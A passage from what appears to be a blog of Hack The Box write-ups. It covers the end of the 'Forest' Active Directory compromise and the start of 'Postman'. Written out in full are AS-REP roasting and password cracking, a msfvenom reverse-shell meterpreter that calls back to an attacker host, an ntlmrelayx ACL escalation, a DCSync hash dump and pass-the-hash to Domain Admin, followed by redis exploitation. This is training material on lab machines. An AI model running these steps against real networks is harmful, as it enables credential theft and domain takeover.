msf5 auxiliary(scanner/smb/smb_enumusers) > set rhosts 10.10.10.161
rhosts => 10.10.10.161
msf5 auxiliary(scanner/smb/smb_enumusers) > show options
Module options (auxiliary/scanner/smb/smb_enumusers):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.161 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf5 auxiliary(scanner/smb/smb_enumusers) > run
[+] 10.10.10.161:445 - HTB [ Administrator, Guest, krbtgt, DefaultAccount, $331000-VK4ADACQNUCA, SM_2c8eef0a09b545acb, SM_ca8c2ed5bdab4dc9b, SM_75a538d3025e4db9a, SM_681f53d4942840e18, SM_1b41c9286325456bb, SM_9b69f1b9d2cc45549, SM_7c96b981967141ebb, SM_c75ee099d0a64c91b, SM_1ffab36a2f5f479cb, HealthMailboxc3d7722, HealthMailboxfc9daad, HealthMailboxc0a90c9, HealthMailbox670628e, HealthMailbox968e74d, HealthMailbox6ded678, HealthMailbox83d6781, HealthMailboxfd87238, HealthMailboxb01ac64, HealthMailbox7108a4e, HealthMailbox0659cc1, sebastien, lucinda, svc-alfresco, andy, mark, santi ] ( LockoutTries=0 PasswordMin=7 )
[*] 10.10.10.161: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
</path></code></pre></div>
<h2>Getting NPUsers</h2>
<p><code>UF_DONT_REQUIRE_PREAUTH</code></p>
<blockquote>
<p>This bit indicates that there is no so-called pre-authentication necessary for Kerberos authentication of the account. This is only for older Kerberos client important, which need to login to the domain from foreign systems and which does not support Kerberos pre-authentication. For accounts that log on from a Windows machine, or just for machine accounts of Windows domain members, this flag flag should NEVER be set, for the pre-authentication prevents certain types of dictionary attacks on the Kerberos login.</p>
</blockquote>
<p>We create a file with the users.</p>
<div class="highlight"><pre><span></span><code>cat users.txt
sebastien
lucinda
svc-alfresco
andy
mark
santi
</code></pre></div>
<p>In order to use <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py">impacket's</a> <code>GetNPUsers.py</code>
we need to add an entry in our <code>/etc/hosts</code>.</p>
<div class="highlight"><pre><span></span><code>cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalili
10.10.10.161 htb.local
10.10.10.161 forest.htb.local
</code></pre></div>
<p>And we launch <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py">impacket's</a> <code>GetNPUsers.py</code>.</p>
<div class="highlight"><pre><span></span><code>python GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -format john
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$svc-alfresco@HTB.LOCAL:bcd2217d8b5e6884e25d8b2860dd0380$40be3fda5f8fd984f9c576d5dfa33f37effc76b0fbff3ae28a747825c3559bfea4a6a23ad1c0add8ad61d149a5ccc2e79919de9b78e8720b3dc79af96364fb6f5d7e0235eb83850765023a30de6d172c82ec751f50f4c6e4971cb54a46e16ec2d3a41b9f44b6b8e85782d958c3ff665baa5b29d8c5b4516ec1b63f7c63b55c5fa74b7b1b5fe1fa04cddac6812d0ef37f1e25ab8e8005fe7f6ce949786435c41a2395e73e9bf1de57e3a2da12a00f9da25408e92a37a5ed2dacdbbf3846963000f7b2f8d337d152345a9cc7358b5d45224abeac179f081b9b329e549659da00ac791a7fde1a8c
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax
</code></pre></div>
<p>We crack the password using john and the rockyou dictionary. The user's
password is "s3rvice".</p>
<div class="highlight"><pre><span></span><code>john hashes -w=~/tools/password_lists/rockyou.txt
Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 11.59% (ETA: 11:52:21) 0g/s 913958p/s 913958c/s 913958C/s eddie707..eck1956
s3rvice ($krb5asrep$svc-alfresco@HTB.LOCAL)
1g 0:00:00:04 DONE (2019-10-24 11:52) 0.2237g/s 914040p/s 914040c/s 914040C/s s401413..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre></div>
<h2>MS14-068</h2>
<p>In order to run MS14-068 we need the SUID of our user. We enumerate them using
metasploit. Our user SID is <code>S-1-5-21-3072663084-364016917-1341370565-1147</code> (domain
SID-User RID).</p>
<div class="highlight"><pre><span></span><code>msf5 auxiliary(admin/kerberos/ms14_068_kerberos_checksum) > use auxiliary/scanner/smb/smb_lookupsid
msf5 auxiliary(scanner/smb/smb_lookupsid) > show options
Module options (auxiliary/scanner/smb/smb_lookupsid):
Name Current Setting Required Description
---- --------------- -------- -----------
MaxRID 4000 no Maximum RID to check
MinRID 500 no Starting RID to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
Auxiliary action:
Name Description
---- -----------
LOCAL Enumerate local accounts
msf5 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 10.10.10.161
RHOSTS => 10.10.10.161
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBDomain HTB.LOCAL
SMBDomain => HTB.LOCAL
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser svc-alfresco
SMBUser => svc-alfresco
msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBPass s3rvice
SMBPass => s3rvice
msf5 auxiliary(scanner/smb/smb_lookupsid) > run
[*] 10.10.10.161:445 - PIPE(LSARPC) LOCAL(HTB - 5-21-3072663084-364016917-1341370565) DOMAIN(HTB - 5-21-3072663084-364016917-1341370565)
[*] 10.10.10.161:445 - USER=Administrator RID=500
<snip>
[*] 10.10.10.161:445 - USER=lucinda RID=1146
[*] 10.10.10.161:445 - USER=svc-alfresco RID=1147
[*] 10.10.10.161:445 - GROUP=Service Accounts RID=1148
[*] 10.10.10.161:445 - GROUP=Privileged IT Accounts RID=1149
[*] 10.10.10.161:445 - USER=andy RID=1150
[*] 10.10.10.161:445 - USER=mark RID=1151
[*] 10.10.10.161:445 - USER=santi RID=1152
</snip></path></code></pre></div>
<p>We can also try to get Users SPNs</p>
<div class="highlight"><pre><span></span><code>python GetUserSPNs.py -request htb.local/svc-alfresco:s3rvice
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies
No entries found
</code></pre></div>
<p>We add the DC to our <code>/etc/resolv.conf</code> and install <code>rdate</code> to have the same
time as the DC.</p>
<div class="highlight"><pre><span></span><code>cat /etc/resolv.conf
# Generated by NetworkManager
search home
nameserver 192.168.1.25
domain htb.local
search htb.local
apt-get install rdate
rdate -n htb.local
Thu Oct 24 16:22:14 CEST 2019
</code></pre></div>
<p>I know have the same time as the DC (this is super important for tickets
generation).</p>
<div class="highlight"><pre><span></span><code>date && rdate -n htb.local
Thu 24 Oct 2019 04:24:55 PM CEST
Thu Oct 24 16:24:55 CEST 2019
</code></pre></div>
<p>The exploitation of MS14-068 does not work.</p>
<h2>Evil-winrm</h2>
<p>As we so in the openport, the
<a href="https://docs.microsoft.com/en-us/windows/win32/winrm/installation-and-configuration-for-windows-remote-management">default port for winrm 5985</a>
is open. We use <a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> in order
to connect to the system and get user's flag:</p>
<div class="highlight"><pre><span></span><code>evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir
Directory: C:\Users\svc-alfresco\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/24/2019 6:57 AM 12510 20191024065705_BloodHound.zip
-a---- 10/24/2019 8:23 AM 3996 Add-ACE.ps1
-a---- 10/24/2019 8:23 AM 2584 Add-ToGroup.ps1
-a---- 10/24/2019 6:28 AM 64384 Invoke-ACLPwn.ps1
-a---- 10/24/2019 8:02 AM 2661697 Invoke-Mimikatz.ps1
-a---- 10/24/2019 6:33 AM 1006744 mimikatz.exe
-a---- 10/24/2019 6:25 AM 212992 mp1.exe
-a---- 10/24/2019 9:17 AM 43696 nc64.exe
-a---- 10/24/2019 6:47 AM 73802 pd.exe
-a---- 10/24/2019 7:24 AM 6017 powerPriv.ps1
-a---- 10/24/2019 9:26 AM 363295 powerview.ps1
-a---- 10/24/2019 7:12 AM 8978 Rk9SRVNU.bin
-a---- 10/24/2019 6:27 AM 779264 SharpHound.exe
-a---- 10/24/2019 6:44 AM 919546 SharpHound.ps1
-a---- 10/24/2019 8:36 AM 2222592 SharpSploit.dll
-a---- 10/24/2019 7:26 AM 73802 shell.exe
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ../
di*Evil-WinRM* PS C:\Users\svc-alfresco> dir
Directory: C:\Users\svc-alfresco
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 9/23/2019 2:16 PM Desktop
d-r--- 10/24/2019 9:31 AM Documents
d-r--- 7/16/2016 6:18 AM Downloads
d-r--- 7/16/2016 6:18 AM Favorites
d-r--- 7/16/2016 6:18 AM Links
d-r--- 7/16/2016 6:18 AM Music
d-r--- 7/16/2016 6:18 AM Pictures
d----- 7/16/2016 6:18 AM Saved Games
d-r--- 7/16/2016 6:18 AM Videos
*Evil-WinRM* PS C:\Users\svc-alfresco> dir Desktop
Directory: C:\Users\svc-alfresco\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/23/2019 2:16 PM 32 user.txt
*Evil-WinRM* PS C:\Users\svc-alfresco> type Desktop\user.txt
e5e4e<redacted>
</redacted></code></pre></div>
<h1>Getting root</h1>
<h2>evil-winrm and binary</h2>
<p>Using evil-Winrm we can also check the domain SID (and our user SID):</p>
<div class="highlight"><pre><span></span><code>whoami /user
USER INFORMATION
----------------
User Name SID
================ =============================================
htb\svc-alfresco S-1-5-21-3072663084-364016917-1341370565-1147
</code></pre></div>
<p>Using evil-winrm we can easily upload a binary using the <code>upload</code> function.
Nevertheless I was not able to invoke the binary using the <code>Invoke-binary</code>
command. Therefore I used a simple ruby script to get on the machine a launch a
msfvenom meterprter:</p>
<div class="highlight"><pre><span></span><code><span class="nb">require</span><span class="w"> </span><span class="s1">'winrm'</span>
<span class="n">conn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">WinRM</span><span class="o">::</span><span class="no">Connection</span><span class="o">.</span><span class="n">new</span><span class="p">(</span>
<span class="w"> </span><span class="ss">endpoint</span><span class="p">:</span><span class="w"> </span><span class="s1">'http://10.10.10.161:5985/wsman'</span><span class="p">,</span>
<span class="w"> </span><span class="ss">user</span><span class="p">:</span><span class="w"> </span><span class="s1">'svc-alfresco'</span><span class="p">,</span>
<span class="w"> </span><span class="ss">password</span><span class="p">:</span><span class="w"> </span><span class="s1">'s3rvice'</span><span class="p">,</span>
<span class="p">)</span>
<span class="n">command</span><span class="o">=</span><span class="s2">""</span>
<span class="n">conn</span><span class="o">.</span><span class="n">shell</span><span class="p">(</span><span class="ss">:powershell</span><span class="p">)</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="o">|</span><span class="n">shell</span><span class="o">|</span>
<span class="w"> </span><span class="k">until</span><span class="w"> </span><span class="n">command</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"exit</span><span class="se">\n</span><span class="s2">"</span><span class="w"> </span><span class="k">do</span>
<span class="w"> </span><span class="nb">print</span><span class="w"> </span><span class="s2">"PS > "</span>
<span class="w"> </span><span class="n">command</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">gets</span>
<span class="w"> </span><span class="n">output</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">shell</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">)</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="o">|</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="n">stderr</span><span class="o">|</span>
<span class="w"> </span><span class="no">STDOUT</span><span class="o">.</span><span class="n">print</span><span class="w"> </span><span class="n">stdout</span>
<span class="w"> </span><span class="no">STDERR</span><span class="o">.</span><span class="n">print</span><span class="w"> </span><span class="n">stderr</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="nb">puts</span><span class="w"> </span><span class="s2">"Exiting with code </span><span class="si">#{</span><span class="n">output</span><span class="o">.</span><span class="n">exitcode</span><span class="si">}</span><span class="s2">"</span>
<span class="k">end</span>
</code></pre></div>
<p>The msfvenom command to generate the meterpreter is the following:</p>
<div class="highlight"><pre><span></span><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST="10.10.15.185" LPORT=4444 -f exe > shell.exe
</code></pre></div>
<p>To catch the reverse meterpreter we use the <code>exploit/multi/handler</code> metasploit
module. We can get a cmd shell using the <code>shell</code> command.</p>
<h2>Bloodhound</h2>
<p>As we need to elevate our privileges on a Windows environnement we want to run
Bloodhound to see the differents relationships between the domain's users,
groups and computers.
We use a <a href="https://github.com/fox-it/BloodHound.py">bloodhound ingestor based on impacket</a>
that allow to grab credentials remotly. But we get some error about DNS
resolution probably because of our VPN configuration.</p>
<div class="highlight"><pre><span></span><code>python ./bloodhound.py -d 'htb.local' -dc 10.10.10.161 -gc 10.10.10.161 -u svc-alfresco -p s3rvice -v -ns 10.10.10.161 -c all
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: localadmin, rdp, dcom, acl, objectprops, session, group, trusts
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: htb.local
INFO: Found AD domain: htb.local
DEBUG: Found primary DC: FOREST.htb.local
DEBUG: Found Global Catalog server: FOREST.htb.local
DEBUG: Using LDAP server: 10.10.10.161
DEBUG: Using base DN: DC=htb,DC=local
INFO: Connecting to LDAP server: 10.10.10.161
Traceback (most recent call last):
File "./bloodhound.py", line 5, in <module>
bloodhound.main()
File "/root/BloodHound.py/bloodhound/__init__.py", line 265, in main
disable_pooling=args.disable_pooling)
File "/root/BloodHound.py/bloodhound/__init__.py", line 68, in run
self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect)
File "/root/BloodHound.py/bloodhound/ad/domain.py", line 330, in prefetch_info
self.get_domains(acl=acls)
File "/root/BloodHound.py/bloodhound/ad/domain.py", line 204, in get_domains
for entry in entries:
File "/root/BloodHound.py/bloodhound/ad/domain.py", line 106, in search
self.ldap_connect()
File "/root/BloodHound.py/bloodhound/ad/domain.py", line 60, in ldap_connect
q = self.ad.dnsresolver.query(self.hostname, tcp=self.ad.dns_tcp)
File "/usr/lib/python2.7/dist-packages/dns/resolver.py", line 992, in query
timeout = self._compute_timeout(start, lifetime)
File "/usr/lib/python2.7/dist-packages/dns/resolver.py", line 799, in _compute_timeout
raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 3.0016040802 seconds
</module></code></pre></div>
<p>We edit the code of <code>/root/BloodHound.py/bloodhound/ad/domain.py</code>:</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">ldap_connect</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">protocol</span><span class="o">=</span><span class="s1">'ldap'</span><span class="p">,</span> <span class="n">resolver</span><span class="o">=</span><span class="kc">False</span><span class="p">):</span>
<span class="w"> </span><span class="sd">"""</span>
<span class="sd"> Connect to the LDAP service</span>
<span class="sd"> """</span>
<span class="n">logging</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s1">'Connecting to LDAP server: </span><span class="si">%s</span><span class="s1">'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">hostname</span><span class="p">)</span>
<span class="c1"># Convert the hostname to an IP, this prevents ldap3 from doing it</span>
<span class="c1"># which doesn't use our custom nameservers</span>
<span class="c1">#q = self.ad.dnsresolver.query(self.hostname, tcp=self.ad.dns_tcp)</span>
<span class="c1">#for r in q:</span>
<span class="c1">#ip = r.address</span>
<span class="n">ip</span> <span class="o">=</span> <span class="s2">"10.10.10.161"</span>
</code></pre></div>
<p>The ingestor create a few JSON files:</p>
<div class="highlight"><pre><span></span><code>ls *.json
computers.json domains.json groups.json sessions.json users.json
</code></pre></div>
<p>We start the <code>neo4j</code> database, <code>bloodhound</code> and feed him the JSON data.</p>
<p>When using the query "Shortest Paths to High Value Targets" we get the following
graph:</p>
<p><img alt="Bloodhound complete view" src="/media/2020.03/forest_01.png"/>.{: .image-process-article-image}</p>
<h2>Exchange trusted subsystem and ntlmrelayx</h2>
<p>Our <code>svc-alfresco</code> user got indirect right for the <code>Exchange trusted subsytem</code>
group.
For more information about the Active Directory Right:
<a href="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights">Documentation Microsoft</a>.</p>
<p>Therefore we want to exploit our Exchange rights using
<a href="https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/">PrivExchange</a>.</p>
<p>Let's create a user and add it in the <code>Exchange trusted subsytem</code> group.</p>
<div class="highlight"><pre><span></span><code>meterpreter > shell
Process 3256 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\svc-alfresco\Documents>net user created_01 M<redacted> /add /domain
net user created_01 Marteau69! /add /domain
The command completed successfully.
C:\Users\svc-alfresco\Documents>net group "EXCHANGE TRUSTED SUBSYSTEM"
net group "EXCHANGE TRUSTED SUBSYSTEM"
Group name Exchange Trusted Subsystem
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management service. Its members have permission to read and modify all Exchange configuration, as well as user accounts and groups. This group should not be deleted.
Members
-------------------------------------------------------------------------------
EXCH01$ sol svc-alfresco
The command completed successfully.
C:\Users\svc-alfresco\Documents>net group "EXCHANGE TRUSTED SUBSYSTEM" created_01 /add
net group "EXCHANGE TRUSTED SUBSYSTEM" created_01 /add
The command completed successfully.
</redacted></code></pre></div>
<p>We then launch <a href="https://github.com/SecureAuthCorp/impacket/">impacket's ntlmrelayx.py</a>
with the <code>escalate-user</code> parameter. We try it by authenticating in our browser on 127.0.0.1.</p>
<div class="highlight"><pre><span></span><code>ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user created_01
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161
[*] HTTPD: Client requested path: /
[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] Authenticating against ldap://10.10.10.161 as \created_01 SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161
[*] HTTPD: Client requested path: /favicon.ico
[*] HTTPD: Client requested path: /favicon.ico
[*] HTTPD: Client requested path: /favicon.ico
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User created_01 now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20191105-184250.restore
[*] Authenticating against ldap://10.10.10.161 as \created_01 SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[-] Exception in HTTP request handler: [Errno 32] Broken pipe
[-] [Errno 32] Broken pipe
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[-] ACL attack already performed. Refusing to continue
</code></pre></div>
<h2>DCSync</h2>
<p>Our right where sufficient to escalate to get the <code>Replication-Get-Changes-All</code>
privileges on the domain. As mention by <code>ntlmrelayx</code> we can now use a
<a href="https://adsecurity.org/?p=1729">DCSync</a> attack on the domain using
<a href="https://github.com/SecureAuthCorp/impacket/">impacket's secretdump.py</a> to get
the users' passwords hashes.</p>
<div class="highlight"><pre><span></span><code>python secretsdump.py 'htb.local/created_01:M<redacted>@10.10.10.161'
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<snip>
</snip></redacted></code></pre></div>
<h2>PTH</h2>
<p>We can then use the <a href="http://blog.gentilkiwi.com/tag/pass-the-hash">Path the hash</a>
technique with
<a href="https://github.com/SecureAuthCorp/impacket/">impacket's psexec.py</a> to login on
the Domain Controller as administrator and get the flag.</p>
<div class="highlight"><pre><span></span><code>python psexec.py htb.local/Administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file LgnQUJxD.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service evKq on 10.10.10.161.....
[*] Starting service evKq.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Mirosoft Corporation. All rights reserved.
C:\Windows\system32>cd ..
C:\Windows>cd ..
C:\>cd Users
C:\Users>cd Administrator
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>type root.txt
f04815<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>What a journey. This box was classified as easy but probably needed a medium
classification. WinRM is so <em>finicky</em>. The root part was interesting as it
allowed us to play with Bloodhound and ntlmrelayx which doesn't happen a lot
outside of client environments.</p>HTB: Postman2020-03-15T09:30:00+01:002020-03-15T09:30:00+01:00maggicktag:maggick.fr,2020-03-15:/2020/03/htb-postman.html<p><img alt="Postman Card" class="align-left" src="/media/2020.03/postman_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/215">Postman</a> publish on
Novemer the second 2019 by
<a href="https://www.hackthebox.com/home/users/profile/114053">TheCyberGeek</a>.
This box is rated as easy box. It implies a redis server, a <code>id_rsa.bak</code>, john
the ripper and webmin 1.910.</p>
<p><img alt="Postman Card" class="align-left" src="/media/2020.03/postman_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/215">Postman</a> publish on
Novemer the second 2019 by
<a href="https://www.hackthebox.com/home/users/profile/114053">TheCyberGeek</a>.
This box is rated as easy box. It implies a redis server, a <code>id_rsa.bak</code>, john
the ripper and webmin 1.910.</p>
<h1>Recon</h1>
<h2>nmap</h2>
<p>Let us start as always by a <code>nmap</code> scan. The box is quit busy so first of all we
run a simple aggressive TCP scan:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Tue Nov 19 16:52:02 2019 as: nmap -p- -sS -oA nmap_all_port -T4 10.10.10.160
Nmap scan report for 10.10.10.160
Host is up (0.090s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4444/tcp open krb524
6379/tcp open redis
10000/tcp open snet-sensor-mgmt
</code></pre></div>
<p>We run a version scan on this open ports:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Tue Nov 19 18:32:32 2019 as: nmap -p22,80,4444,6379,10000 -sSV -oA nmap_version 10.10.10.160
Nmap scan report for 10.10.10.160
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
4444/tcp closed krb524
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<p>The open ports are:</p>
<ul>
<li>22: SSH</li>
<li>80: a web server</li>
<li>6379: a redis server</li>
<li>10 000: another web server</li>
</ul>
<p>We do not have any information to connect to the SSH server.</p>
<p>The website on port 80 does not give us anything.</p>
<p>The website on port 10 000 is a webmin login interface. There is a few exploit
available for it. But none of it works.</p>
<div class="highlight"><pre><span></span><code>searchsploit webmin
-------------------------------------------------------------------------
Exploit Title
-------------------------------------------------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal
Webmin - Brute Force / Command Execution
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing
Webmin 0.x - 'RPC' Privilege Escalation
Webmin 0.x - Code Input Validation
Webmin 1.5 - Brute Force / Command Execution
Webmin 1.5 - Web Brute Force (CGI)
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit)
Webmin 1.850 - Multiple Vulnerabilities
Webmin 1.900 - Remote Command Execution (Metasploit)
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)
Webmin 1.920 - Remote Code Execution
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)
Webmin 1.x - HTML Email Command Execution
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (PHP)
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl)
phpMyWebmin 1.0 - 'target' Remote File Inclusion
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion
webmin 0.91 - Directory Traversal
-------------------------------------------------------------------------
Shellcodes: No Result
</code></pre></div>
<h2>Redis</h2>
<p>The last service is the redis server. We use redis-cli in order to connect to
it and start enumerating using the autocompletion.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# redis-cli -h 10.10.10.160
10.10.10.160:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
10.10.10.160:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis/.ssh"
</code></pre></div>
<p>A quick Google search for "redis ssh exploit" return this
<a href="https://github.com/Avinash-acid/Redis-Server-Exploit">github repository</a>.
We modify the script to include our <code>.ssh</code> folder:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/python</span>
<span class="c1">#Author : Avinash Kumar Thapa aka -Acid</span>
<span class="c1">#Twitter : https://twitter.com/m_avinash143</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">os.path</span>
<span class="kn">from</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="n">argv</span>
<span class="kn">from</span> <span class="nn">termcolor</span> <span class="kn">import</span> <span class="n">colored</span>
<span class="n">script</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">,</span> <span class="n">username</span> <span class="o">=</span> <span class="n">argv</span>
<span class="n">PATH</span><span class="o">=</span><span class="s1">'/usr/bin/redis-cli'</span>
<span class="n">PATH1</span><span class="o">=</span><span class="s1">'/usr/local/bin/redis-cli'</span>
